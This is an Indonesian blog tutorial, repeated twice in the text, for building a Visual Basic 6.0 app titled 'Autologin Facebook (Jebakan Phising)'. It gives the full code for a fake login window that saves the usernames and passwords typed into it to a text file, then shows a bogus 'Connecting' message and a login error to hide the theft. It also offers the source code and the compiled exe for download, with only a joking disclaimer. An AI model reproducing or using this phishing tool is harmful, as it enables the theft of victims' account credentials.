Hai guys.... lama nih ngga nge post. soalnya kagak ada ide yang masuk, juga minim kuota .. azzz.. -_-
oke, pada kesempatan ini saya akan membuat tutorial membuat aplikasi "Autologin Facebook (Jebakan Phising)" dengan VB 6.0 mudah saja membuat aplikasi seperti ini, namun aplikasi yang saya buat ini bukanlah aplikasi yang bagus.. karena saya adalah pemula dalam menggunakan aplikasi VB 6.0.
yaudahlah jangan banyak-banyak openingnya langsung saja ya..
langkah-langkah:
1. Buka aplikasi VB 6.0 anda, pilih standart exe aja ya..
2. ambil 3 label, 1 command,1 timer (maaf, disini saya memberi nama timer2 anda juga harus memberi nama yang sama agar tidak error saat mengcompile), dan 2 textbox
3. desain form seperti gambar ini.. (kalo bisa buat se kreatif mungkin)
4. masukkan skrip kode. caranya double klik pada form, hapus semua tulisan yang ada disitu, copas kode dibawah ini..
Dim n, t As Integer
Dim user(100), pass(100) As String
Private Sub Form_Load()
n = 0
Timer2.Enabled = False
End Sub
Private Sub Command1_Click()
n = n + 1
user(n) = Trim(Text1)
pass(n) = Trim(Text2)
If Text1.Text = "" And Text2.Text = "" Then
MsgBox "Username dan Password hasus diisi!!!", vbOKOnly, perhatian
ElseIf Text2.Text = "" Then MsgBox "Password hasus diisi!!!", vbOKOnly, perhatian
ElseIf Text1.Text = "" Then MsgBox ("Username harus diisi!!!"), vbOKOnly, perhatian
Else
'Buka File untuk menyimpan data
namafile = App.Path & "\test.txt"
Open namafile For Output As #1
'Menyimpan semua data'
For i = 1 To n
Print #1, "username: ", user(i), "password: ", pass(i)
Next i
'Menutup file
Close #1
Label3.Caption = "Connecting .............."
Timer2.Enabled = True
End If
End Sub
Private Sub Timer2_Timer()
t = t + 1
If t = 10 Then
Label3.Caption = "disconnected"
MsgBox "Maaf.. timbul kesalahan saat login!!!", vbOKOnly, perhatian
Timer2.Enabled = False
Text1.Text = ""
Text2.Text = ""
t = 0
Text1.SetFocus
End If
End Sub
5. jalankan dengan cara tekan F5
6. jika sudah terbuka aplikasinya, isi sesuai format dan login.. hasilnya anda bisa melihat username dan password di file test.txt setelah anda login.
INGAT!! ini hanya aplikasi jebakan, jadi seberapa banyak anda mengklik login, maka hasilnya error.. gunakkan dengan bijak, jangan disalah gunakan, dosa ditanggung sendiri .. hehehehe ...
Download Source code DISINI
Download Aplikasi exe nya DISINI
pass: www.ef-aizin.blogspot.com
oke, pada kesempatan ini saya akan membuat tutorial membuat aplikasi "Autologin Facebook (Jebakan Phising)" dengan VB 6.0 mudah saja membuat aplikasi seperti ini, namun aplikasi yang saya buat ini bukanlah aplikasi yang bagus.. karena saya adalah pemula dalam menggunakan aplikasi VB 6.0.
yaudahlah jangan banyak-banyak openingnya langsung saja ya..
langkah-langkah:
1. Buka aplikasi VB 6.0 anda, pilih standart exe aja ya..
2. ambil 3 label, 1 command,1 timer (maaf, disini saya memberi nama timer2 anda juga harus memberi nama yang sama agar tidak error saat mengcompile), dan 2 textbox
3. desain form seperti gambar ini.. (kalo bisa buat se kreatif mungkin)
Dim n, t As Integer
Dim user(100), pass(100) As String
Private Sub Form_Load()
n = 0
Timer2.Enabled = False
End Sub
Private Sub Command1_Click()
n = n + 1
user(n) = Trim(Text1)
pass(n) = Trim(Text2)
If Text1.Text = "" And Text2.Text = "" Then
MsgBox "Username dan Password hasus diisi!!!", vbOKOnly, perhatian
ElseIf Text2.Text = "" Then MsgBox "Password hasus diisi!!!", vbOKOnly, perhatian
ElseIf Text1.Text = "" Then MsgBox ("Username harus diisi!!!"), vbOKOnly, perhatian
Else
'Buka File untuk menyimpan data
namafile = App.Path & "\test.txt"
Open namafile For Output As #1
'Menyimpan semua data'
For i = 1 To n
Print #1, "username: ", user(i), "password: ", pass(i)
Next i
'Menutup file
Close #1
Label3.Caption = "Connecting .............."
Timer2.Enabled = True
End If
End Sub
Private Sub Timer2_Timer()
t = t + 1
If t = 10 Then
Label3.Caption = "disconnected"
MsgBox "Maaf.. timbul kesalahan saat login!!!", vbOKOnly, perhatian
Timer2.Enabled = False
Text1.Text = ""
Text2.Text = ""
t = 0
Text1.SetFocus
End If
End Sub
5. jalankan dengan cara tekan F5
6. jika sudah terbuka aplikasinya, isi sesuai format dan login.. hasilnya anda bisa melihat username dan password di file test.txt setelah anda login.
INGAT!! ini hanya aplikasi jebakan, jadi seberapa banyak anda mengklik login, maka hasilnya error.. gunakkan dengan bijak, jangan disalah gunakan, dosa ditanggung sendiri .. hehehehe ...
Download Source code DISINI
Download Aplikasi exe nya DISINI
pass: www.ef-aizin.blogspot.com
Sign up here with your email
ConversionConversion EmoticonEmoticon